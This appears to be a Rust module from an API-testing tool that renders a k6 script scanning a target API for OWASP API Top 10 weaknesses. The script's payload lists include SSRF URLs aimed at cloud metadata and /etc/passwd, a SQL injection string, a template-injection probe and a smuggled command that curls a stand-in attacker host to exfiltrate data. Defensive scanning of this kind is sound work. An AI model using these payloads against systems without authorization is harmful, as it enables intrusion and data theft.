1use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::spec_parser::SpecParser;
11use handlebars::Handlebars;
12use serde_json::{json, Value};
13use std::collections::HashMap;
14
15pub struct OwaspApiGenerator {
17 config: OwaspApiConfig,
19 target_url: String,
21 operations: Vec<OperationInfo>,
23}
24
25#[derive(Debug, Clone)]
27pub struct OperationInfo {
28 pub method: String,
30 pub path: String,
32 pub operation_id: Option<String>,
34 pub path_params: Vec<PathParam>,
36 pub query_params: Vec<QueryParam>,
38 pub has_body: bool,
40 pub content_type: Option<String>,
42 pub requires_auth: bool,
44 pub tags: Vec<String>,
46}
47
48#[derive(Debug, Clone)]
50pub struct PathParam {
51 pub name: String,
52 pub param_type: String,
53 pub example: Option<String>,
54}
55
56#[derive(Debug, Clone)]
58pub struct QueryParam {
59 pub name: String,
60 pub param_type: String,
61 pub required: bool,
62}
63
64impl OwaspApiGenerator {
65 pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
67 let operations = Self::extract_operations(parser);
68 Self {
69 config,
70 target_url,
71 operations,
72 }
73 }
74
75 fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
77 parser
78 .get_operations()
79 .into_iter()
80 .map(|op| {
81 let path_params: Vec<PathParam> = op
83 .path
84 .split('/')
85 .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
86 .map(|segment| {
87 let name = segment.trim_start_matches('{').trim_end_matches('}');
88 PathParam {
89 name: name.to_string(),
90 param_type: "string".to_string(),
91 example: None,
92 }
93 })
94 .collect();
95
96 OperationInfo {
97 method: op.method.to_uppercase(),
98 path: op.path.clone(),
99 operation_id: op.operation_id.clone(),
100 path_params,
101 query_params: Vec::new(),
102 has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
103 content_type: Some("application/json".to_string()),
104 requires_auth: true, tags: op.operation.tags.clone(),
106 }
107 })
108 .collect()
109 }
110
111 pub fn generate(&self) -> Result<String> {
113 let mut handlebars = Handlebars::new();
114
115 handlebars.register_helper("contains", Box::new(contains_helper));
117 handlebars.register_helper("eq", Box::new(eq_helper));
118
119 let template = self.get_script_template();
120 let data = self.build_template_data()?;
121
122 handlebars
123 .render_template(&template, &data)
124 .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
125 }
126
127 fn build_template_data(&self) -> Result<Value> {
129 let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
130 let mut test_cases: Vec<Value> = Vec::new();
131
132 for category in self.config.categories_to_test() {
134 let category_tests = self.generate_category_tests(category, &payload_generator)?;
135 test_cases.extend(category_tests);
136 }
137
138 let categories = self.config.categories_to_test();
140 let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
141 let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
142 let test_api3 =
143 categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
144 let test_api4 =
145 categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
146 let test_api5 =
147 categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
148 let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
149 let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
150 let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
151 let test_api9 =
152 categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
153 let test_api10 =
154 categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
155
156 let ops_with_path_params: Vec<Value> = self
158 .operations
159 .iter()
160 .filter(|op| op.path.contains('{'))
161 .map(|op| {
162 json!({
163 "method": op.method.to_lowercase(),
164 "path": op.path,
165 })
166 })
167 .collect();
168
169 let get_operations: Vec<Value> = self
171 .operations
172 .iter()
173 .filter(|op| op.method.to_lowercase() == "get")
174 .map(|op| {
175 json!({
176 "method": op.method.to_lowercase(),
177 "path": op.path,
178 })
179 })
180 .collect();
181
182 Ok(json!({
183 "base_url": self.target_url,
184 "auth_header_name": self.config.auth_header,
185 "valid_auth_token": self.config.valid_auth_token,
186 "concurrency": self.config.concurrency,
187 "iterations": self.config.iterations,
188 "timeout_ms": self.config.timeout_ms,
189 "report_path": self.config.report_path.to_string_lossy(),
190 "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
191 "test_cases": test_cases,
192 "operations": self.operations.iter().map(|op| json!({
193 "method": op.method.to_lowercase(),
194 "path": op.path,
195 "operation_id": op.operation_id,
196 "has_body": op.has_body,
197 "requires_auth": op.requires_auth,
198 "has_path_params": op.path.contains('{'),
199 })).collect::<Vec<_>>(),
200 "ops_with_path_params": ops_with_path_params,
201 "get_operations": get_operations,
202 "verbose": self.config.verbose,
203 "insecure": self.config.insecure,
204 "test_api1": test_api1,
206 "test_api2": test_api2,
207 "test_api3": test_api3,
208 "test_api4": test_api4,
209 "test_api5": test_api5,
210 "test_api6": test_api6,
211 "test_api7": test_api7,
212 "test_api8": test_api8,
213 "test_api9": test_api9,
214 "test_api10": test_api10,
215 }))
216 }
217
218 fn generate_category_tests(
220 &self,
221 category: OwaspCategory,
222 payload_generator: &OwaspPayloadGenerator,
223 ) -> Result<Vec<Value>> {
224 let payloads = payload_generator.generate_for_category(category);
225 let mut tests = Vec::new();
226
227 for payload in payloads {
228 let applicable_ops = self.get_applicable_operations(&payload);
230
231 for op in applicable_ops {
232 tests.push(json!({
233 "category": category.cli_name(),
234 "category_name": category.short_name(),
235 "description": payload.description,
236 "method": op.method.to_lowercase(),
237 "path": op.path,
238 "payload": payload.value,
239 "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
240 "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
241 "notes": payload.notes,
242 }));
243 }
244 }
245
246 Ok(tests)
247 }
248
249 fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
251 match payload.injection_point {
252 InjectionPoint::PathParam => {
253 self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
255 }
256 InjectionPoint::Body => {
257 self.operations.iter().filter(|op| op.has_body).collect()
259 }
260 InjectionPoint::Header | InjectionPoint::Omit => {
261 self.operations.iter().filter(|op| op.requires_auth).collect()
263 }
264 InjectionPoint::QueryParam => {
265 self.operations.iter().collect()
267 }
268 InjectionPoint::Modify => {
269 self.operations.iter().collect()
271 }
272 }
273 }
274
275 fn get_script_template(&self) -> String {
277 r#"// OWASP API Security Top 10 Test Script
278// Generated by MockForge - https://mockforge.dev
279// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
280
281import http from 'k6/http';
282import { check, sleep, group } from 'k6';
283import { Trend, Counter, Rate } from 'k6/metrics';
284
285// Configuration
286const BASE_URL = '{{base_url}}';
287const AUTH_HEADER = '{{auth_header_name}}';
288{{#if valid_auth_token}}
289const VALID_TOKEN = '{{valid_auth_token}}';
290{{else}}
291const VALID_TOKEN = null;
292{{/if}}
293const TIMEOUT = '{{timeout_ms}}ms';
294const VERBOSE = {{verbose}};
295const INSECURE = {{insecure}};
296
297// Custom metrics
298const findingsCounter = new Counter('owasp_findings');
299const testsRun = new Counter('owasp_tests_run');
300const vulnerableRate = new Rate('owasp_vulnerable_rate');
301const responseTime = new Trend('owasp_response_time');
302
303// Test options - use per-VU iterations scenario for controlled test runs
304export const options = {
305 scenarios: {
306 owasp_security_test: {
307 executor: 'per-vu-iterations',
308 vus: {{concurrency}},
309 iterations: {{iterations}}, // Iterations per VU
310 maxDuration: '30m',
311 },
312 },
313 thresholds: {
314 'owasp_findings': ['count<100'], // Alert if too many findings
315 },
316 insecureSkipTLSVerify: INSECURE,
317};
318
319// Findings storage
320const findings = [];
321
322// Helper: Log a finding
323function logFinding(category, endpoint, method, description, evidence) {
324 const finding = {
325 category,
326 endpoint,
327 method,
328 description,
329 evidence,
330 timestamp: new Date().toISOString(),
331 };
332 findings.push(finding);
333 findingsCounter.add(1);
334 vulnerableRate.add(1);
335
336 if (VERBOSE) {
337 console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
338 }
339}
340
341// Helper: Log test passed
342function logPass(category, endpoint, method) {
343 vulnerableRate.add(0);
344 if (VERBOSE) {
345 console.log(`[PASS] ${category} - ${method} ${endpoint}`);
346 }
347}
348
349// Helper: Make authenticated request
350function authRequest(method, url, body, additionalHeaders = {}) {
351 const headers = {
352 'Content-Type': 'application/json',
353 ...additionalHeaders,
354 };
355
356 if (VALID_TOKEN) {
357 headers[AUTH_HEADER] = VALID_TOKEN;
358 }
359
360 const params = {
361 headers,
362 timeout: TIMEOUT,
363 };
364
365 // k6 uses 'del' instead of 'delete'
366 const httpMethod = method === 'delete' ? 'del' : method;
367
368 if (httpMethod === 'get' || httpMethod === 'head') {
369 return http[httpMethod](url, params);
370 } else {
371 return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
372 }
373}
374
375// Helper: Make unauthenticated request
376function unauthRequest(method, url, body, additionalHeaders = {}) {
377 const headers = {
378 'Content-Type': 'application/json',
379 ...additionalHeaders,
380 };
381
382 const params = {
383 headers,
384 timeout: TIMEOUT,
385 };
386
387 // k6 uses 'del' instead of 'delete'
388 const httpMethod = method === 'delete' ? 'del' : method;
389
390 if (httpMethod === 'get' || httpMethod === 'head') {
391 return http[httpMethod](url, params);
392 } else {
393 return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
394 }
395}
396
397// API1: Broken Object Level Authorization (BOLA)
398function testBola() {
399 group('API1 - BOLA', function() {
400 console.log('[API1] Testing Broken Object Level Authorization...');
401
402 {{#each operations}}
403 {{#if has_path_params}}
404 // Test {{path}}
405 {
406 const originalPath = '{{path}}'.replace(/{[^}]+}/g, '1');
407 const modifiedPath = '{{path}}'.replace(/{[^}]+}/g, '2');
408
409 // Get baseline with ID=1
410 const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
411
412 // Try to access ID=2
413 const response = authRequest('{{method}}', BASE_URL + modifiedPath, null);
414 testsRun.add(1);
415 responseTime.add(response.timings.duration);
416
417 if (response.status >= 200 && response.status < 300) {
418 // Check if we got different data
419 if (response.body !== baseline.body && response.body.length > 0) {
420 logFinding('api1', '{{path}}', '{{method}}',
421 'ID manipulation accepted - accessed different user data',
422 { status: response.status, bodyLength: response.body.length });
423 } else {
424 logPass('api1', '{{path}}', '{{method}}');
425 }
426 } else {
427 logPass('api1', '{{path}}', '{{method}}');
428 }
429 }
430 {{/if}}
431 {{/each}}
432 });
433}
434
435// API2: Broken Authentication
436function testBrokenAuth() {
437 group('API2 - Broken Authentication', function() {
438 console.log('[API2] Testing Broken Authentication...');
439
440 {{#each operations}}
441 {{#if requires_auth}}
442 // Test {{path}} without auth
443 {
444 const response = unauthRequest('{{method}}', BASE_URL + '{{path}}', null);
445 testsRun.add(1);
446 responseTime.add(response.timings.duration);
447
448 if (response.status >= 200 && response.status < 300) {
449 logFinding('api2', '{{path}}', '{{method}}',
450 'Endpoint accessible without authentication',
451 { status: response.status });
452 } else {
453 logPass('api2', '{{path}}', '{{method}}');
454 }
455 }
456
457 // Test {{path}} with empty token
458 {
459 const response = http.{{method}}(BASE_URL + '{{path}}', null, {
460 headers: { [AUTH_HEADER]: 'Bearer ' },
461 timeout: TIMEOUT,
462 });
463 testsRun.add(1);
464
465 if (response.status >= 200 && response.status < 300) {
466 logFinding('api2', '{{path}}', '{{method}}',
467 'Endpoint accessible with empty Bearer token',
468 { status: response.status });
469 }
470 }
471 {{/if}}
472 {{/each}}
473 });
474}
475
476// API3: Broken Object Property Level Authorization (Mass Assignment)
477function testMassAssignment() {
478 group('API3 - Mass Assignment', function() {
479 console.log('[API3] Testing Mass Assignment...');
480
481 const massAssignmentPayloads = [
482 { role: 'admin' },
483 { is_admin: true },
484 { isAdmin: true },
485 { permissions: ['admin', 'write', 'delete'] },
486 { verified: true },
487 { email_verified: true },
488 { balance: 999999 },
489 ];
490
491 {{#each operations}}
492 {{#if has_body}}
493 // Test {{path}}
494 {
495 massAssignmentPayloads.forEach(payload => {
496 const response = authRequest('{{method}}', BASE_URL + '{{path}}', payload);
497 testsRun.add(1);
498 responseTime.add(response.timings.duration);
499
500 if (response.status >= 200 && response.status < 300) {
501 // Check if unauthorized field appears in response
502 const responseBody = response.body.toLowerCase();
503 const payloadKey = Object.keys(payload)[0].toLowerCase();
504
505 if (responseBody.includes(payloadKey)) {
506 logFinding('api3', '{{path}}', '{{method}}',
507 `Mass assignment accepted: ${payloadKey}`,
508 { status: response.status, payload });
509 } else {
510 logPass('api3', '{{path}}', '{{method}}');
511 }
512 }
513 });
514 }
515 {{/if}}
516 {{/each}}
517 });
518}
519
520// API4: Unrestricted Resource Consumption
521function testResourceConsumption() {
522 group('API4 - Resource Consumption', function() {
523 console.log('[API4] Testing Resource Consumption...');
524
525 {{#each operations}}
526 // Test {{path}} with excessive limit
527 {
528 const url = BASE_URL + '{{path}}' + '?limit=100000&per_page=100000';
529 const response = authRequest('{{method}}', url, null);
530 testsRun.add(1);
531 responseTime.add(response.timings.duration);
532
533 // Check for rate limit headers
534 const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
535 response.headers['x-ratelimit-limit'] ||
536 response.headers['RateLimit-Limit'];
537
538 if (response.status === 429) {
539 logPass('api4', '{{path}}', '{{method}}');
540 } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
541 logFinding('api4', '{{path}}', '{{method}}',
542 'No rate limiting detected',
543 { status: response.status, hasRateLimitHeader: !!hasRateLimit });
544 } else {
545 logPass('api4', '{{path}}', '{{method}}');
546 }
547 }
548 {{/each}}
549 });
550}
551
552// API5: Broken Function Level Authorization
553function testFunctionAuth() {
554 group('API5 - Function Authorization', function() {
555 console.log('[API5] Testing Function Level Authorization...');
556
557 const adminPaths = [
558 '/admin',
559 '/admin/users',
560 '/admin/settings',
561 '/api/admin',
562 '/internal',
563 '/management',
564 ];
565
566 adminPaths.forEach(path => {
567 const response = authRequest('get', BASE_URL + path, null);
568 testsRun.add(1);
569 responseTime.add(response.timings.duration);
570
571 if (response.status >= 200 && response.status < 300) {
572 logFinding('api5', path, 'GET',
573 'Admin endpoint accessible',
574 { status: response.status });
575 } else if (response.status === 403 || response.status === 401) {
576 logPass('api5', path, 'GET');
577 }
578 });
579
580 // Also test changing methods on read-only endpoints
581 {{#each get_operations}}
582 {
583 const response = authRequest('delete', BASE_URL + '{{path}}', null);
584 testsRun.add(1);
585
586 if (response.status >= 200 && response.status < 300) {
587 logFinding('api5', '{{path}}', 'DELETE',
588 'DELETE method allowed on read-only endpoint',
589 { status: response.status });
590 }
591 }
592 {{/each}}
593 });
594}
595
596// API7: Server Side Request Forgery (SSRF)
597function testSsrf() {
598 group('API7 - SSRF', function() {
599 console.log('[API7] Testing Server Side Request Forgery...');
600
601 const ssrfPayloads = [
602 'http://localhost/',
603 'http://127.0.0.1/',
604 'http://169.254.169.254/latest/meta-data/',
605 'http://[::1]/',
606 'file:///etc/passwd',
607 ];
608
609 {{#each operations}}
610 {{#if has_body}}
611 // Test {{path}} with SSRF payloads
612 {
613 ssrfPayloads.forEach(payload => {
614 const body = {
615 url: payload,
616 webhook_url: payload,
617 callback: payload,
618 image_url: payload,
619 };
620
621 const response = authRequest('{{method}}', BASE_URL + '{{path}}', body);
622 testsRun.add(1);
623 responseTime.add(response.timings.duration);
624
625 if (response.status >= 200 && response.status < 300) {
626 // Check for indicators of internal access
627 const bodyLower = response.body.toLowerCase();
628 const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
629
630 if (internalIndicators.some(ind => bodyLower.includes(ind))) {
631 logFinding('api7', '{{path}}', '{{method}}',
632 `SSRF vulnerability - internal data exposed with payload: ${payload}`,
633 { status: response.status, payload });
634 }
635 }
636 });
637 }
638 {{/if}}
639 {{/each}}
640 });
641}
642
643// API8: Security Misconfiguration
644function testMisconfiguration() {
645 group('API8 - Security Misconfiguration', function() {
646 console.log('[API8] Testing Security Misconfiguration...');
647
648 {{#each operations}}
649 // Test {{path}} for security headers
650 {
651 const response = authRequest('{{method}}', BASE_URL + '{{path}}', null);
652 testsRun.add(1);
653 responseTime.add(response.timings.duration);
654
655 const missingHeaders = [];
656
657 if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
658 missingHeaders.push('X-Content-Type-Options');
659 }
660 if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
661 missingHeaders.push('X-Frame-Options');
662 }
663 if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
664 missingHeaders.push('Strict-Transport-Security');
665 }
666
667 // Check for overly permissive CORS
668 const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
669 if (acao === '*') {
670 logFinding('api8', '{{path}}', '{{method}}',
671 'CORS allows all origins (Access-Control-Allow-Origin: *)',
672 { status: response.status });
673 }
674
675 if (missingHeaders.length > 0) {
676 logFinding('api8', '{{path}}', '{{method}}',
677 `Missing security headers: ${missingHeaders.join(', ')}`,
678 { status: response.status, missingHeaders });
679 }
680 }
681 {{/each}}
682
683 // Test for verbose errors
684 {{#each operations}}
685 {{#if has_body}}
686 {
687 const malformedBody = '{"invalid": "json';
688 const response = http.{{method}}(BASE_URL + '{{path}}', malformedBody, {
689 headers: { 'Content-Type': 'application/json' },
690 timeout: TIMEOUT,
691 });
692 testsRun.add(1);
693
694 const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
695 const bodyLower = response.body.toLowerCase();
696
697 if (errorIndicators.some(ind => bodyLower.includes(ind))) {
698 logFinding('api8', '{{path}}', '{{method}}',
699 'Verbose error messages exposed',
700 { status: response.status });
701 }
702 }
703 {{/if}}
704 {{/each}}
705 });
706}
707
708// API9: Improper Inventory Management
709function testInventory() {
710 group('API9 - Inventory Management', function() {
711 console.log('[API9] Testing Improper Inventory Management...');
712
713 const discoveryPaths = [
714 '/swagger',
715 '/swagger-ui',
716 '/swagger.json',
717 '/api-docs',
718 '/openapi',
719 '/openapi.json',
720 '/graphql',
721 '/graphiql',
722 '/debug',
723 '/actuator',
724 '/actuator/health',
725 '/actuator/env',
726 '/metrics',
727 '/.env',
728 '/config',
729 ];
730
731 const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
732
733 discoveryPaths.forEach(path => {
734 const response = http.get(BASE_URL + path, { timeout: TIMEOUT });
735 testsRun.add(1);
736 responseTime.add(response.timings.duration);
737
738 if (response.status !== 404) {
739 logFinding('api9', path, 'GET',
740 `Undocumented endpoint discovered (HTTP ${response.status})`,
741 { status: response.status });
742 }
743 });
744
745 // Check for old API versions
746 apiVersions.forEach(version => {
747 const response = http.get(BASE_URL + '/' + version + '/', { timeout: TIMEOUT });
748 testsRun.add(1);
749
750 if (response.status !== 404) {
751 logFinding('api9', '/' + version + '/', 'GET',
752 `API version endpoint exists (HTTP ${response.status})`,
753 { status: response.status });
754 }
755 });
756 });
757}
758
759// API10: Unsafe Consumption of APIs
760function testUnsafeConsumption() {
761 group('API10 - Unsafe Consumption', function() {
762 console.log('[API10] Testing Unsafe Consumption...');
763
764 const injectionPayloads = [
765 { external_id: "'; DROP TABLE users;--" },
766 { integration_data: "$(curl attacker.com/exfil)" },
767 { template: "\{{7*7}}" },
768 { webhook_url: "http://127.0.0.1:8080/internal" },
769 ];
770
771 {{#each operations}}
772 {{#if has_body}}
773 // Test {{path}} with injection payloads
774 {
775 injectionPayloads.forEach(payload => {
776 const response = authRequest('{{method}}', BASE_URL + '{{path}}', payload);
777 testsRun.add(1);
778 responseTime.add(response.timings.duration);
779
780 // Check if payload was processed (e.g., SSTI returning 49)
781 if (response.body.includes('49')) {
782 logFinding('api10', '{{path}}', '{{method}}',
783 'Server-side template injection detected',
784 { status: response.status, payload });
785 }
786 });
787 }
788 {{/if}}
789 {{/each}}
790 });
791}
792
793// Main test function
794export default function() {
795 console.log('Starting OWASP API Top 10 Security Scan...');
796 console.log('Target: ' + BASE_URL);
797 console.log('');
798
799 {{#if test_api1}}
800 testBola();
801 {{/if}}
802 {{#if test_api2}}
803 testBrokenAuth();
804 {{/if}}
805 {{#if test_api3}}
806 testMassAssignment();
807 {{/if}}
808 {{#if test_api4}}
809 testResourceConsumption();
810 {{/if}}
811 {{#if test_api5}}
812 testFunctionAuth();
813 {{/if}}
814 {{#if test_api7}}
815 testSsrf();
816 {{/if}}
817 {{#if test_api8}}
818 testMisconfiguration();
819 {{/if}}
820 {{#if test_api9}}
821 testInventory();
822 {{/if}}
823 {{#if test_api10}}
824 testUnsafeConsumption();
825 {{/if}}
826
827 sleep(0.1);
828}
829
830// Teardown: Output results
831export function teardown(data) {
832 console.log('');
833 console.log('='.repeat(50));
834 console.log('OWASP API Top 10 Scan Complete');
835 console.log('='.repeat(50));
836 console.log('Total findings: ' + findings.length);
837
838 if (findings.length > 0) {
839 console.log('');
840 console.log('Findings by category:');
841 const byCategory = {};
842 findings.forEach(f => {
843 byCategory[f.category] = (byCategory[f.category] || 0) + 1;
844 });
845 Object.entries(byCategory).forEach(([cat, count]) => {
846 console.log(' ' + cat + ': ' + count);
847 });
848 }
849
850 // Write JSON report
851 console.log('');
852 console.log('Report written to: {{report_path}}');
853}
854"#.to_string()
855 }
856}
857
858fn contains_helper(
860 h: &handlebars::Helper,
861 _: &Handlebars,
862 _: &handlebars::Context,
863 _: &mut handlebars::RenderContext,
864 out: &mut dyn handlebars::Output,
865) -> handlebars::HelperResult {
866 let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
867 let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
868 let result = param1.contains(param2);
869 out.write(&result.to_string())?;
870 Ok(())
871}
872
873fn eq_helper(
875 h: &handlebars::Helper,
876 _: &Handlebars,
877 _: &handlebars::Context,
878 _: &mut handlebars::RenderContext,
879 out: &mut dyn handlebars::Output,
880) -> handlebars::HelperResult {
881 let param1 = h.param(0).map(|v| v.value());
882 let param2 = h.param(1).map(|v| v.value());
883 let result = param1 == param2;
884 out.write(&result.to_string())?;
885 Ok(())
886}
887
888#[cfg(test)]
889mod tests {
890 use super::*;
891
892 #[test]
893 fn test_generator_creation() {
894 let template = r#"
897 {{#each operations}}
898 // {{method}} {{path}}
899 {{/each}}
900 "#;
901
902 let handlebars = Handlebars::new();
903 let data = json!({
904 "operations": [
905 { "method": "GET", "path": "/users" },
906 { "method": "POST", "path": "/users" },
907 ]
908 });
909
910 let result = handlebars.render_template(template, &data);
911 assert!(result.is_ok());
912 }
913
914 #[test]
915 fn test_script_template_renders() {
916 let config = OwaspApiConfig::default()
917 .with_categories([OwaspCategory::Api1Bola])
918 .with_valid_auth_token("Bearer test123");
919
920 let template = r#"
921const AUTH = '{{auth_header_name}}';
922const TOKEN = '{{valid_auth_token}}';
923{{#each categories_tested}}
924// Testing: {{this}}
925{{/each}}
926 "#;
927
928 let handlebars = Handlebars::new();
929 let data = json!({
930 "auth_header_name": config.auth_header,
931 "valid_auth_token": config.valid_auth_token,
932 "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
933 });
934
935 let result = handlebars.render_template(template, &data).unwrap();
936 assert!(result.contains("Authorization"));
937 assert!(result.contains("Bearer test123"));
938 assert!(result.contains("api1"));
939 }
940}